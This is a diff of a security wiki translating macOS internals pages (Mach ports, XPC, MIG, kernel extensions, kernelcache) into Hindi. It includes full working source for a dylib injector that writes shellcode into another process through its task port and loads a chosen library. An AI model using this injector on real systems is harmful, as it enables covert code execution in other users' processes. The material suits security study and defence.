dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` +### थ्रेड हाईजैकिंग द्वारा टास्क पोर्ट -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: +इस तकनीक में प्रक्रिया का एक थ्रेड हाईजैक किया जाता है: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,27 +800,27 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### बुनियादी जानकारी -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC, जिसका अर्थ है XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन, macOS और iOS पर **प्रक्रियाओं के बीच संचार** के लिए एक ढांचा है। XPC विभिन्न प्रक्रियाओं के बीच **सुरक्षित, असिंक्रोनस मेथड कॉल करने** के लिए एक तंत्र प्रदान करता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन** के निर्माण की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन अनुमतियों** के साथ चलता है जो इसे अपना काम करने के लिए आवश्यक हैं, इस प्रकार एक समझौता की गई प्रक्रिया से संभावित नुकसान को सीमित करता है। -For more information about how this **communication work** on how it **could be vulnerable** check: +इस **संचार के काम करने के तरीके** और यह **कैसे कमजोर हो सकता है** के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} -## MIG - Mach Interface Generator +## MIG - मच इंटरफेस जनरेटर -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIG को **मच IPC** कोड निर्माण की प्रक्रिया को **सरल बनाने** के लिए बनाया गया था। यह मूल रूप से एक दिए गए परिभाषा के लिए सर्वर और क्लाइंट के बीच संचार के लिए **आवश्यक कोड उत्पन्न करता है**। भले ही उत्पन्न कोड बदसूरत हो, एक डेवलपर को केवल इसे आयात करने की आवश्यकता होगी और उसका कोड पहले से कहीं अधिक सरल होगा। -For more info check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## संदर्भ - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..0b7dbad21 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -4,38 +4,37 @@ ## Basic Information -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +Kernel extensions (Kexts) **पैकेज** हैं जिनका **`.kext`** एक्सटेंशन होता है जो **macOS कर्नेल स्पेस में सीधे लोड** किए जाते हैं, मुख्य ऑपरेटिंग सिस्टम को अतिरिक्त कार्यक्षमता प्रदान करते हैं। ### Requirements -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +स्पष्ट रूप से, यह इतना शक्तिशाली है कि **कर्नेल एक्सटेंशन लोड करना जटिल है**। ये **आवश्यकताएँ** हैं जो एक कर्नेल एक्सटेंशन को लोड करने के लिए पूरी करनी चाहिए: -- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded: +- जब **रिकवरी मोड में प्रवेश करते हैं**, कर्नेल **एक्सटेंशन को लोड करने की अनुमति होनी चाहिए**:
-- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed. -- The kernel extension must also be **notarized**, Apple will be able to check it for malware. -- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**. -- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). -- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it. +- कर्नेल एक्सटेंशन को **कर्नेल कोड साइनिंग सर्टिफिकेट** के साथ **साइन** किया जाना चाहिए, जो केवल **Apple द्वारा दिया जा सकता है**। जो कंपनी और इसकी आवश्यकता के कारणों की विस्तार से समीक्षा करेगा। +- कर्नेल एक्सटेंशन को **नोटराइज** भी किया जाना चाहिए, Apple इसे मैलवेयर के लिए जांच सकेगा। +- फिर, **रूट** उपयोगकर्ता ही **कर्नेल एक्सटेंशन को लोड** कर सकता है और पैकेज के अंदर की फ़ाइलें **रूट की होनी चाहिए**। +- अपलोड प्रक्रिया के दौरान, पैकेज को **संरक्षित नॉन-रूट स्थान** में तैयार किया जाना चाहिए: `/Library/StagedExtensions` (इसके लिए `com.apple.rootless.storage.KernelExtensionManagement` ग्रांट की आवश्यकता होती है)। +- अंत में, जब इसे लोड करने का प्रयास किया जाता है, तो उपयोगकर्ता [**एक पुष्टि अनुरोध प्राप्त करेगा**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) और, यदि स्वीकार किया गया, तो कंप्यूटर को इसे लोड करने के लिए **रीस्टार्ट** करना होगा। ### Loading process -In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +कैटालिना में यह इस तरह था: यह ध्यान देने योग्य है कि **सत्यापन** प्रक्रिया **यूजरलैंड** में होती है। हालाँकि, केवल वे एप्लिकेशन जिनके पास **`com.apple.private.security.kext-management`** ग्रांट है, वे **कर्नेल से एक्सटेंशन लोड करने का अनुरोध कर सकते हैं**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` -1. **`kextutil`** cli **starts** the **verification** process for loading an extension - - It will talk to **`kextd`** by sending using a **Mach service**. -2. **`kextd`** will check several things, such as the **signature** - - It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**. -3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded. - - **`syspolicyd`** will report the result to **`kextd`** -4. **`kextd`** will finally be able to **tell the kernel to load** the extension +1. **`kextutil`** cli **एक्सटेंशन लोड करने के लिए सत्यापन** प्रक्रिया **शुरू करता है** +- यह **`kextd`** से **Mach सेवा** का उपयोग करके बात करेगा। +2. **`kextd`** कई चीजों की जांच करेगा, जैसे **हस्ताक्षर** +- यह **`syspolicyd`** से **जांच** करेगा कि क्या एक्सटेंशन को **लोड** किया जा सकता है। +3. **`syspolicyd`** उपयोगकर्ता को **प्रॉम्प्ट** करेगा यदि एक्सटेंशन पहले लोड नहीं किया गया है। +- **`syspolicyd`** परिणाम को **`kextd`** को रिपोर्ट करेगा +4. अंततः **`kextd`** कर्नेल को एक्सटेंशन लोड करने के लिए **बताने** में सक्षम होगा -If **`kextd`** is not available, **`kextutil`** can perform the same checks. +यदि **`kextd`** उपलब्ध नहीं है, तो **`kextutil`** वही जांच कर सकता है। ### Enumeration (loaded kexts) - ```bash # Get loaded kernel extensions kextstat @@ -43,40 +42,38 @@ kextstat # Get dependencies of the kext number 22 kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ``` - ## Kernelcache > [!CAUTION] -> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it. +> हालांकि कर्नेल एक्सटेंशन `/System/Library/Extensions/` में होने की उम्मीद है, यदि आप इस फ़ोल्डर में जाते हैं तो आप **कोई बाइनरी नहीं पाएंगे**। इसका कारण **कर्नेलकैश** है और एक `.kext` को रिवर्स करने के लिए आपको इसे प्राप्त करने का एक तरीका खोजना होगा। -The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time. +**कर्नेलकैश** **XNU कर्नेल** का एक **पूर्व-संकलित और पूर्व-लिंक किया गया संस्करण** है, साथ ही आवश्यक डिवाइस **ड्राइवर** और **कर्नेल एक्सटेंशन** भी। इसे एक **संकुचित** प्रारूप में संग्रहीत किया जाता है और बूट-अप प्रक्रिया के दौरान मेमोरी में अनसंकुचित किया जाता है। कर्नेलकैश एक **तेज़ बूट समय** को सुविधाजनक बनाता है क्योंकि इसमें कर्नेल और महत्वपूर्ण ड्राइवरों का एक तैयार-से-चलाने वाला संस्करण उपलब्ध होता है, जिससे बूट समय पर इन घटकों को गतिशील रूप से लोड और लिंक करने में लगने वाले समय और संसाधनों की बचत होती है। ### Local Kerlnelcache -In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \ -In my case in macOS I found it in: +iOS में यह **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** में स्थित है, macOS में आप इसे इस कमांड से खोज सकते हैं: **`find / -name "kernelcache" 2>/dev/null`** \ +मेरे मामले में macOS में मैंने इसे निम्नलिखित स्थान पर पाया: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` #### IMG4 -The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. +IMG4 फ़ाइल प्रारूप एक कंटेनर प्रारूप है जिसका उपयोग Apple अपने iOS और macOS उपकरणों में **फर्मवेयर** घटकों (जैसे **कर्नेलकैश**) को सुरक्षित रूप से **स्टोर और सत्यापित** करने के लिए करता है। IMG4 प्रारूप में एक हेडर और कई टैग शामिल होते हैं जो विभिन्न डेटा के टुकड़ों को संलग्न करते हैं, जिसमें वास्तविक पेलोड (जैसे कर्नेल या बूटलोडर), एक हस्ताक्षर, और एक सेट मैनिफेस्ट प्रॉपर्टीज शामिल हैं। यह प्रारूप क्रिप्टोग्राफिक सत्यापन का समर्थन करता है, जिससे डिवाइस फर्मवेयर घटक की प्रामाणिकता और अखंडता की पुष्टि कर सकता है इससे पहले कि इसे निष्पादित किया जाए। -It's usually composed of the following components: +यह आमतौर पर निम्नलिखित घटकों से बना होता है: - **Payload (IM4P)**: - - Often compressed (LZFSE4, LZSS, …) - - Optionally encrypted +- अक्सर संकुचित (LZFSE4, LZSS, …) +- वैकल्पिक रूप से एन्क्रिप्टेड - **Manifest (IM4M)**: - - Contains Signature - - Additional Key/Value dictionary +- हस्ताक्षर शामिल है +- अतिरिक्त कुंजी/मान शब्दकोश - **Restore Info (IM4R)**: - - Also known as APNonce - - Prevents replaying of some updates - - OPTIONAL: Usually this isn't found - -Decompress the Kernelcache: +- जिसे APNonce के रूप में भी जाना जाता है +- कुछ अपडेट के पुनः खेलने से रोकता है +- वैकल्पिक: आमतौर पर यह नहीं पाया जाता +कर्नेलकैश को अनसंकुचित करें: ```bash # img4tool (https://github.com/tihmstar/img4tool img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e @@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e # pyimg4 (https://github.com/m1stadev/PyIMG4) pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` - -### Download +### डाउनलोड - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**. - -Check it for symbols with: +[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) पर सभी कर्नेल डिबग किट्स मिल सकते हैं। आप इसे डाउनलोड कर सकते हैं, माउंट कर सकते हैं, [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) टूल के साथ खोल सकते हैं, **`.kext`** फ़ोल्डर तक पहुँच सकते हैं और **निकाल सकते हैं**। +सिंबॉल के लिए जांचें: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. +कभी-कभी Apple **kernelcache** को **symbols** के साथ जारी करता है। आप उन पृष्ठों पर लिंक का पालन करके कुछ firmware को symbols के साथ डाउनलोड कर सकते हैं। firmware में अन्य फ़ाइलों के साथ **kernelcache** शामिल होगा। -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +फ़ाइलों को **extract** करने के लिए `.ipsw` से `.zip` में एक्सटेंशन बदलकर शुरू करें और **unzip** करें। -After extracting the 